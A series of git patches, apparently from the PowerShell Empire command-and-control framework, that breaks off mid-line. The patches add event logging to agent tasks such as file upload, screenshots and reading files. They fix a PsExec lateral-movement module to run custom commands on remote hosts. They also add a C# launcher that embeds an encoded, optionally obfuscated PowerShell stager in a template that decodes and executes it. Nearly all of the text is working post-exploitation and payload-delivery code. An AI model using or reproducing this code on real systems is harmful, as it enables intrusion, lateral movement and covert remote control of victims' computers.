"Tasked agent to upload " + parts[0] + " : " + original_md5 self.mainMenu.agents.save_agent_log(self.sessionID, msg) + # compress data before we base64 c = compress.compress() start_crc32 = c.crc32_data(fileData) comp_data = c.comp_data(fileData, 9) fileData = c.build_header(comp_data, start_crc32) # get final file size - print helpers.color("[*] Final tasked size of %s for upload: %s" %(uploadname, helpers.get_file_size(fileData)), color="green") fileData = helpers.encode_base64(fileData) # upload packets -> "filename | script data" data = uploadname + "|" + fileData + + # dispatch this event + message = "[*] Starting upload of {}, final size {}".format(uploadname, helpers.get_file_size(fileData)) + signal = json.dumps({ + 'print': True, + 'message': message, + 'upload_name': uploadname, + 'upload_md5': original_md5, + 'upload_size': helpers.get_file_size(fileData) + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPLOAD", data) else: print helpers.color("[!] Please enter a valid file path to upload") @@ -2705,6 +3153,15 @@ def do_sc(self, line): module_menu = ModuleMenu(self.mainMenu, 'python/collection/osx/native_screenshot') print helpers.color(msg, color="green") self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + # dispatch this event + message = "[*] Tasked agent to take a screenshot" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + module_menu.do_execute("") else: print helpers.color("[!] python/collection/osx/screenshot module not loaded") @@ -2722,6 +3179,15 @@ def do_ls_m(self, line): msg = "[*] Tasked agent to list directory contents of: "+str(module.options['Path']['Value']) print helpers.color(msg,color="green") self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + # dispatch this event + message = "[*] Tasked agent to list directory contents of: {}".format(module.options['Path']['Value']) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + module_menu.do_execute("") else: @@ -2745,6 +3211,16 @@ def do_cat(self, line): """ % (line) # task the agent with this shell command self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", str(cmd)) + + # dispatch this event + message = "[*] Tasked agent to cat file: {}".format(line) + signal = json.dumps({ + 'print': False, + 'message': message, + 'file_name': line + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to cat file %s" % (line) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2754,6 +3230,16 @@ def do_pwd(self, line): command = "cwd = os.getcwd(); print cwd" self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", command) + + # dispatch this event + message = "[*] Tasked agent to print current working directory" + signal = json.dumps({ + 'print': False, + 'message': message, + 'file_name': line + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + msg = "Tasked agent to print current working directory" self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2762,6 +3248,16 @@ def do_whoami(self, line): command = "from AppKit import NSUserName; print str(NSUserName())" self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", command) + + # dispatch this event + message = "[*] Tasked agent to print currently logged on user" + signal = json.dumps({ + 'print': False, + 'message': message, + 'file_name': line + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + msg = "Tasked agent to print currently logged on user" self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2776,9 +3272,20 @@ def do_loadpymodule(self, line): open_file = open(path, 'rb') module_data = open_file.read() open_file.close() + + # dispatch this event + message = "[*] Tasked agent to import {}, md5: {}".format(path, hashlib.md5(module_data).hexdigest()) + signal = json.dumps({ + 'print': True, + 'message': message, + 'import_path': path, + 'import_md5': hashlib.md5(module_data).hexdigest() + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + msg = "Tasked agent to import "+path+" : "+hashlib.md5(module_data).hexdigest() - print helpers.color("[*] "+msg, color="green") self.mainMenu.agents.save_agent_log(self.sessionID, msg) + c = compress.compress() start_crc32 = c.crc32_data(module_data) comp_data = c.comp_data(module_data, 9) @@ -2799,8 +3306,18 @@ def do_shellb(self, line): module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID) module_menu = ModuleMenu(self.mainMenu, 'python/management/osx/shellb') - msg = "[*] Tasked agent to execute %s in the background" % (str(module.options['Path']['Value'])) - print helpers.color(msg,color="green") + + # dispatch this event + message = "[*] Tasked agent to execute {} in the background".format(module.options['Path']['Value']) + signal = json.dumps({ + 'print': True, + 'message': message, + 'options': module.options + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + + # update the agent log + msg = "Tasked agent to execute {} in the background".format(module.options['Path']['Value']) self.mainMenu.agents.save_agent_log(self.sessionID, msg) module_menu.do_execute("") @@ -2810,14 +3327,35 @@ def do_shellb(self, line): def do_viewrepo(self, line): "View the contents of a repo. if none is specified, all files will be returned" repoName = line.strip() + + # dispatch this event + message = "[*] Tasked agent to view repo contents: {}".format(repoName) + signal = json.dumps({ + 'print': True, + 'message': message, + 'repo_name': repoName + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + + # update the agent log msg = "[*] Tasked agent to view repo contents: " + repoName - print helpers.color(msg, color="green") self.mainMenu.agents.save_agent_log(self.sessionID, msg) + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_VIEW_MODULE", repoName) def do_removerepo(self, line): "Remove a repo" repoName = line.strip() + + # dispatch this event + message = "[*] Tasked agent to remove repo: {}".format(repoName) + signal = json.dumps({ + 'print': True, + 'message': message, + 'repo_name': repoName + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + msg = "[*] Tasked agent to remove repo: "+repoName print helpers.color(msg, color="green") self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2970,6 +3508,16 @@ def do_launcher(self, line): stager.options['Obfuscate']['Value'] = "True" else: stager.options['Obfuscate']['Value'] = "False" + + # dispatch this event + message = "[*] Generated launcher" + signal = json.dumps({ + 'print': False, + 'message': message, + 'options': stager.options + }) + dispatcher.send(signal, sender="empire") + print stager.generate() except Exception as e: print helpers.color("[!] Error generating launcher: %s" % (e)) @@ -3082,6 +3630,16 @@ def do_launcher(self, line): stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value'] except: pass + + # dispatch this event + message = "[*] Generated launcher" + signal = json.dumps({ + 'print': False, + 'message': message, + 'options': stager.options + }) + dispatcher.send(signal, sender="empire") + print stager.generate() except Exception as e: print helpers.color("[!] Error generating launcher: %s" % (e)) @@ -3370,14 +3928,6 @@ def do_execute(self, line): if not moduleData or moduleData == "": print helpers.color("[!] Error: module produced an empty script") - message = "[!] Error: module produced an empty script" - signal = json.dumps({ - 'print': True, - 'message': message - }) - dispatcher.send(signal, sender="agents/{}/{}".format(agentName, self.moduleName)) - return - try: moduleData.decode('ascii') except UnicodeDecodeError: @@ -3707,6 +4257,14 @@ def do_generate(self, line): os.chmod(savePath, 777) print "\n" + helpers.color("[*] Stager output written out to: %s\n" % (savePath)) + # dispatch this event + message = "[*] Generated stager" + signal = json.dumps({ + 'print': False, + 'message': message, + 'options': stager.options + }) + dispatcher.send(signal, sender="empire") else: print stagerOutput From 7d04f6e8b80d0e5f3f4e543ac72e713493133e05 Mon Sep 17 00:00:00 2001 From: ThePirateWhoSmellsOfSunflowers Date: Fri, 19 Jan 2018 15:00:02 +0100 Subject: [PATCH 033/136] fix the module --- lib/modules/powershell/lateral_movement/invoke_psexec.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/modules/powershell/lateral_movement/invoke_psexec.py b/lib/modules/powershell/lateral_movement/invoke_psexec.py index c8f81c18e..9dc83ef67 100644 --- a/lib/modules/powershell/lateral_movement/invoke_psexec.py +++ b/lib/modules/powershell/lateral_movement/invoke_psexec.py @@ -120,8 +120,12 @@ def generate(self, obfuscate=False, obfuscationCommand=""): scriptEnd = "" if command != "": # executing a custom command on the remote machine - return "" - # if + customCmd = '%COMSPEC% /C start /b ' + command.replace('"','\\"') + scriptEnd += "Invoke-PsExec -ComputerName %s -ServiceName \"%s\" -Command \"%s\"" % (computerName, serviceName, customCmd) + + if resultFile != "": + # Store the result in a file + scriptEnd += " -ResultFile \"%s\"" % (resultFile) else: From 81487f672e8ac7ae7dbb178b4353ec3e25503c27 Mon Sep 17 00:00:00 2001 From: Jim Shaver Date: Sun, 21 Jan 2018 03:16:42 -0600 Subject: [PATCH 034/136] Add support for C# launcher --- data/misc/cSharpTemplateResources/cmd/cmd.sln | 18 +++ .../cmd/cmd/Program.cs | 34 +++++ .../cmd/cmd/Properties/AssemblyInfo.cs | 31 ++++ .../cmd/cmd/app.config | 3 + .../cmd/cmd/cmd.csproj | 49 +++++++ lib/stagers/windows/csharp.py | 132 ++++++++++++++++++ 6 files changed, 267 insertions(+) create mode 100644 data/misc/cSharpTemplateResources/cmd/cmd.sln create mode 100644 data/misc/cSharpTemplateResources/cmd/cmd/Program.cs create mode 100644 data/misc/cSharpTemplateResources/cmd/cmd/Properties/AssemblyInfo.cs create mode 100644 data/misc/cSharpTemplateResources/cmd/cmd/app.config create mode 100644 data/misc/cSharpTemplateResources/cmd/cmd/cmd.csproj create mode 100644 lib/stagers/windows/csharp.py diff --git a/data/misc/cSharpTemplateResources/cmd/cmd.sln b/data/misc/cSharpTemplateResources/cmd/cmd.sln new file mode 100644 index 000000000..2627a9d04 --- /dev/null +++ b/data/misc/cSharpTemplateResources/cmd/cmd.sln @@ -0,0 +1,18 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +# SharpDevelop 4.4 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "cmd", "cmd\cmd.csproj", "{6DC4D341-0ADB-45A2-BF10-EF7B7E93A157}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6DC4D341-0ADB-45A2-BF10-EF7B7E93A157}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6DC4D341-0ADB-45A2-BF10-EF7B7E93A157}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6DC4D341-0ADB-45A2-BF10-EF7B7E93A157}.Release|Any CPU.Build.0 = Release|Any CPU + {6DC4D341-0ADB-45A2-BF10-EF7B7E93A157}.Release|Any CPU.ActiveCfg = Release|Any CPU + EndGlobalSection +EndGlobal diff --git a/data/misc/cSharpTemplateResources/cmd/cmd/Program.cs b/data/misc/cSharpTemplateResources/cmd/cmd/Program.cs new file mode 100644 index 000000000..9bf54c411 --- /dev/null +++ b/data/misc/cSharpTemplateResources/cmd/cmd/Program.cs @@ -0,0 +1,34 @@ +/* + * + * You may compile this in Visual Studio or SharpDevelop etc. + * + * + * + * + */ +using System; +using System.Text; +using System.Management.Automation; +using System.Management.Automation.Runspaces; + +namespace cmd +{ + class Program + { + public static void Main(string[] args) + { + string stager = " YOUR CODE GOES HERE"; + var decodedScript = Encoding.Unicode.GetString(Convert.FromBase64String(stager)); + + Runspace runspace = RunspaceFactory.CreateRunspace(); + runspace.Open(); + RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); + Pipeline pipeline = runspace.CreatePipeline(); + + pipeline.Commands.AddScript(decodedScript); + + pipeline.Commands.Add("Out-String"); + pipeline.Invoke(); + } + } +} \ No newline at end of file diff --git a/data/misc/cSharpTemplateResources/cmd/cmd/Properties/AssemblyInfo.cs b/data/misc/cSharpTemplateResources/cmd/cmd/Properties/AssemblyInfo.cs new file mode 100644 index 000000000..4fb32b678 --- /dev/null +++ b/data/misc/cSharpTemplateResources/cmd/cmd/Properties/AssemblyInfo.cs @@ -0,0 +1,31 @@ +#region Using directives + +using System; +using System.Reflection; +using System.Runtime.InteropServices; + +#endregion + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("cmd")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("cmd")] +[assembly: AssemblyCopyright("Copyright 2018")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// This sets the default COM visibility of types in the assembly to invisible. +// If you need to expose a type to COM, use [ComVisible(true)] on that type. +[assembly: ComVisible(false)] + +// The assembly version has following format : +// +// Major.Minor.Build.Revision +// +// You can specify all the values or you can use the default the Revision and +// Build Numbers by using the '*' as shown below: +[assembly: AssemblyVersion("1.0.*")] diff --git a/data/misc/cSharpTemplateResources/cmd/cmd/app.config b/data/misc/cSharpTemplateResources/cmd/cmd/app.config new file mode 100644 index 000000000..cf7e7ab70 --- /dev/null +++ b/data/misc/cSharpTemplateResources/cmd/cmd/app.config @@ -0,0 +1,3 @@ + + + diff --git a/data/misc/cSharpTemplateResources/cmd/cmd/cmd.csproj b/data/misc/cSharpTemplateResources/cmd/cmd/cmd.csproj new file mode 100644 index 000000000..a1046c873 --- /dev/null +++ b/data/misc/cSharpTemplateResources/cmd/cmd/cmd.csproj @@ -0,0 +1,49 @@ + + + + {6DC4D341-0ADB-45A2-BF10-EF7B7E93A157} + Debug + AnyCPU + WinExe + cmd + cmd + v2.0 + + + Properties + + + x86 + + + bin\Debug\ + True + Full + False + True + DEBUG;TRACE + + + bin\Release\ + False + None + True + False + TRACE + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/lib/stagers/windows/csharp.py b/lib/stagers/windows/csharp.py new file mode 100644 index 000000000..9faa43219 --- /dev/null +++ b/lib/stagers/windows/csharp.py @@ -0,0 +1,132 @@ +from lib.common import helpers +import shutil + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'C# PowerShell Launcher', + + 'Author': ['@elitest'], + + 'Description': ('Generate an PowerShell C# solution with embedded stager code'), + + 'Comments': [ + 'Based on the work of @bneg' + ] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener' : { + 'Description' : 'Listener to generate stager for.', + 'Required' : True, + 'Value' : '' + }, + 'Language' : { + 'Description' : 'Language of the stager to generate.', + 'Required' : True, + 'Value' : 'powershell' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'OutFile' : { + 'Description' : 'File to output zip to.', + 'Required' : True, + 'Value' : '/tmp/launcher.src' + }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + listenerName = self.options['Listener']['Value'] + + # staging options + language = self.options['Language']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] + outfile = self.options['OutFile']['Value'] + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + else: + obfuscateScript = False + if obfuscate.lower() == "true": + obfuscateScript = True + + if obfuscateScript and "launcher" in obfuscateCommand.lower(): + print helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the unmanaged C# stager.") + return "" + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + + if launcher == "": + print helpers.color("[!] Error in launcher generation.") + return "" + else: + launcherCode = launcher.split(" ")[-1] + + directory = self.mainMenu.installPath + "/data/misc/cSharpTemplateResources/cmd/" + destdirectory = "/tmp/cmd/" + + shutil.copytree(directory,destdirectory) + + lines = open(destdirectory + 'cmd/Program.cs').read().splitlines() + lines[19] = "\t\t\tstring stager = \"" + launcherCode + "\";" + open(destdirectory + 'cmd/Program.cs','w').write('\n'.join(lines)) + shutil.make_archive(outfile,'zip',destdirectory) + shutil.rmtree(destdirectory) + return outfile From 7bb1879d390f89c0ce174686c98a431e57ffcdc4 Mon Sep 17 00:00:00 2001 From: Jim Shaver Date: Mon, 22 Jan 2018 08:26:13 -0600 Subject: [PATCH 035/136] Clarified purpose --- lib/stagers/windows/csharp.py | 132 ---------------------------------- setup/setup_database.py | 11 ++- 2 files changed, 9 insertions(+), 134 deletions(-) delete mode 100644 lib/stagers/windows/csharp.py diff --git a/lib/stagers/windows/csharp.py b/lib/stagers/windows/csharp.py deleted file mode 100644 index 9faa43219..000000000 --- a/lib/stagers/windows/csharp.py +++ /dev/null @@ -1,132 +0,0 @@ -from lib.common import helpers -import shutil - -class Stager: - - def __init__(self, mainMenu, params=[]): - - self.info = { - 'Name': 'C# PowerShell Launcher', - - 'Author': ['@elitest'], - - 'Description': ('Generate an PowerShell C# solution with embedded stager code'), - - 'Comments': [ - 'Based on the work of @bneg' - ] - } - - # any options needed by the stager, settable during runtime - self.options = { - # format: - # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' - }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' - }, - 'Listener' : { - 'Description' : 'Listener to use.', - 'Required' : True, - 'Value' : '' - }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' - }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' - }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' - }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' - }, - 'OutFile' : { - 'Description' : 'File to output zip to.', - 'Required' : True, - 'Value' : '/tmp/launcher.src' - }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False' - }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1' - } - } - - # save off a copy of the mainMenu object to access external functionality - # like listeners/agent handlers/etc. - self.mainMenu = mainMenu - - for param in params: - # parameter format is [Name, Value] - option, value = param - if option in self.options: - self.options[option]['Value'] = value - - - def generate(self): - - listenerName = self.options['Listener']['Value'] - - # staging options - language = self.options['Language']['Value'] - userAgent = self.options['UserAgent']['Value'] - proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] - obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] - outfile = self.options['OutFile']['Value'] - - if not self.mainMenu.listeners.is_listener_valid(listenerName): - # not a valid listener, return nothing for the script - print helpers.color("[!] Invalid listener: " + listenerName) - return "" - else: - obfuscateScript = False - if obfuscate.lower() == "true": - obfuscateScript = True - - if obfuscateScript and "launcher" in obfuscateCommand.lower(): - print helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the unmanaged C# stager.") - return "" - # generate the PowerShell one-liner with all of the proper options set - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) - - if launcher == "": - print helpers.color("[!] Error in launcher generation.") - return "" - else: - launcherCode = launcher.split(" ")[-1] - - directory = self.mainMenu.installPath + "/data/misc/cSharpTemplateResources/cmd/" - destdirectory = "/tmp/cmd/" - - shutil.copytree(directory,destdirectory) - - lines = open(destdirectory + 'cmd/Program.cs').read().splitlines() - lines[19] = "\t\t\tstring stager = \"" + launcherCode + "\";" - open(destdirectory + 'cmd/Program.cs','w').write('\n'.join(lines)) - shutil.make_archive(outfile,'zip',destdirectory) - shutil.rmtree(destdirectory) - return outfile diff --git a/setup/setup_database.py b/setup/setup_database.py index e8c75c43b..8479b464f 100755 --- a/setup/setup_database.py +++ b/setup/setup_database.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -import sqlite3, os, string, hashlib, random +import sqlite3, os, string, hashlib, random, thread,threading ################################################### @@ -20,7 +20,14 @@ # otherwise prompt the user for a set value to hash for the negotiation password if STAGING_KEY == "BLANK": - choice = raw_input("\n [>] Enter server negotiation password, enter for random generation: ") + timeout = 2.0 + timer = threading.Timer(timeout, thread.interrupt_main) + try: + timer.start() + choice = raw_input("\n [>] Enter server negotiation password, enter for random generation: ") + except KeyboardInterrupt: + choice = raw_input() + pass if choice == "": # if no password is entered, generation something random STAGING_KEY = ''.join(random.sample(string.ascii_letters + string.digits + punctuation, 32)) From 94ceb0df58743523b5d72c266470923aa607c529 Mon Sep 17 00:00:00 2001 From: Jim Shaver Date: Mon, 22 Jan 2018 09:51:51 -0600 Subject: [PATCH 036/136] Added moved csharp launcher. --- lib/stagers/windows/csharp_exe.py | 132 ++++++++++++++++++++++++++++++ setup/setup_database.py | 11 +-- 2 files changed, 134 insertions(+), 9 deletions(-) create mode 100644 lib/stagers/windows/csharp_exe.py mode change 100755 => 100644 setup/setup_database.py diff --git a/lib/stagers/windows/csharp_exe.py b/lib/stagers/windows/csharp_exe.py new file mode 100644 index 000000000..2c0b5d912 --- /dev/null +++ b/lib/stagers/windows/csharp_exe.py @@ -0,0 +1,132 @@ +from lib.common import helpers +import shutil + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'C# PowerShell Launcher', + + 'Author': ['@elitest'], + + 'Description': ('Generate a PowerShell C# solution with embedded stager code that compiles to an exe'), + + 'Comments': [ + 'Based on the work of @bneg' + ] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener' : { + 'Description' : 'Listener to generate stager for.', + 'Required' : True, + 'Value' : '' + }, + 'Language' : { + 'Description' : 'Language of the stager to generate.', + 'Required' : True, + 'Value' : 'powershell' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'OutFile' : { + 'Description' : 'File to output zip to.', + 'Required' : True, + 'Value' : '/tmp/launcher.src' + }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + listenerName = self.options['Listener']['Value'] + + # staging options + language = self.options['Language']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] + outfile = self.options['OutFile']['Value'] + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + else: + obfuscateScript = False + if obfuscate.lower() == "true": + obfuscateScript = True + + if obfuscateScript and "launcher" in obfuscateCommand.lower(): + print helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the C# stager.") + return "" + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + + if launcher == "": + print helpers.color("[!] Error in launcher generation.") + return "" + else: + launcherCode = launcher.split(" ")[-1] + + directory = self.mainMenu.installPath + "/data/misc/cSharpTemplateResources/cmd/" + destdirectory = "/tmp/cmd/" + + shutil.copytree(directory,destdirectory) + + lines = open(destdirectory + 'cmd/Program.cs').read().splitlines() + lines[19] = "\t\t\tstring stager = \"" + launcherCode + "\";" + open(destdirectory + 'cmd/Program.cs','w').write('\n'.join(lines)) + shutil.make_archive(outfile,'zip',destdirectory) + shutil.rmtree(destdirectory) + return outfile diff --git a/setup/setup_database.py b/setup/setup_database.py old mode 100755 new mode 100644 index 8479b464f..e8c75c43b --- a/setup/setup_database.py +++ b/setup/setup_database.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -import sqlite3, os, string, hashlib, random, thread,threading +import sqlite3, os, string, hashlib, random ################################################### @@ -20,14 +20,7 @@ # otherwise prompt the user for a set value to hash for the negotiation password if STAGING_KEY == "BLANK": - timeout = 2.0 - timer = threading.Timer(timeout, thread.interrupt_main) - try: - timer.start() - choice = raw_input("\n [>] Enter server negotiation password, enter for random generation: ") - except KeyboardInterrupt: - choice = raw_input() - pass + choice = raw_input("\n [>] Enter server negotiation password, enter for random generation: ") if choice == "": # if no password is entered, generation something random STAGING_KEY = ''.join(random.sample(string.ascii_letters + string.digits + punctuation, 32)) From 9e33eb8e1c1e570576c984c61048233355100a94 Mon Sep 17 00:00:00 2001 From: Dakota Nelson Date: Tue, 23 Jan 2018 11:18:25 -0800 Subject: [PATCH 037/136] add more events in more places --- lib/common/agents.py | 48 ++++++++++++++++++++++++++++++++++------- lib/common/events.py | 6 ++++++ lib/common/listeners.py | 35 +++++++++++++++++++++++++----- lib/common/stagers.py | 13 +++++------ 4 files changed, 81 insertions(+), 21 deletions(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index 87bbf2221..b9b4c5c87 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -159,8 +159,14 @@ def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, wor cur.execute("INSERT INTO agents (name, session_id, delay, jitter, external_ip, session_key, nonce, checkin_time, lastseen_time, profile, kill_date, working_hours, lost_limit, listener, language) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID, sessionID, delay, jitter, externalIP, sessionKey, nonce, checkinTime, lastSeenTime, profile, killDate, workingHours, lostLimit, listener, language)) cur.close() - # report the initial checkin in the reporting database - events.agent_checkin(sessionID, checkinTime) + # dispatch this event + message = "[*] New agent {} checked in".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message, + 'timestamp': checkinTime + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) # initialize the tasking/result buffers along with the client session key self.agents[sessionID] = {'sessionKey': sessionKey, 'functions': []} @@ -195,8 +201,13 @@ def remove_agent_db(self, sessionID): cur.execute("DELETE FROM agents WHERE session_id LIKE ?", [sessionID]) cur.close() - # log an "agent deleted" event - events.agent_delete(sessionID) + # dispatch this event + message = "[*] Agent {} deleted".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) finally: self.lock.release() @@ -1082,8 +1093,16 @@ def add_agent_task_db(self, sessionID, taskName, task=''): agent_tasks.append([taskName, task, pk]) cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID]) - # report the agent tasking in the reporting database - events.agent_task(sessionID, taskName, pk, task) + # dispatch this event + message = "[*] Agent {} tasked with task ID {}".format(sessionID, pk) + signal = json.dumps({ + 'print': True, + 'message': message, + 'task_name': taskName, + 'task_id': pk, + 'task': task + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) cur.close() @@ -1189,7 +1208,13 @@ def clear_agent_tasks_db(self, sessionID): if sessionID == '%': sessionID = 'all' - events.agent_clear_tasks(sessionID) + + message = "[*] Tasked {} to clear tasks".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) ############################################################### @@ -1683,7 +1708,14 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): self.lock.acquire() # report the agent result in the 